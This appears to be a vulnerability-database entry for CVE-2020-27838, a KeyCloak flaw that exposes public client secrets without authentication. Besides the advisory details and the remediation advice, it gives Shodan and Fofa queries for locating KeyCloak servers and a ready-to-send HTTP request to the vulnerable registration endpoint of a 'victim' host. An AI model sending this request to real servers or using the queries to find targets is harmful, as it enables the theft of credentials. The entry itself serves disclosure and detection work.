| Title | KeyCloak - Information Exposure |
|---|---|
| Author | mchklt |
| Severity | Medium |
| Impact | The vulnerability allows an attacker to gain sensitive information from the KeyCloak server. |
| Remediation | Apply the latest security patches or updates provided by the KeyCloak vendor. |
| CVSS Score | 6.5 |
| EPSS Score | 0.78293 |
| CVE ID | CVE-2020-27838 |
| CWE ID | CWE-287 |
| Shodan Query | title:"keycloak"http.title:"keycloak"http.html:"keycloak"http.favicon.hash:-1105083093 |
| Fofa Query | title="keycloak"icon_hash=-1105083093body="keycloak" |
| Tags | cve cve2020 keycloak exposure redhat vuln |
A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
GET /auth/realms/master/clients-registrations/default/security-admin-console HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27838.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-27838.pcap
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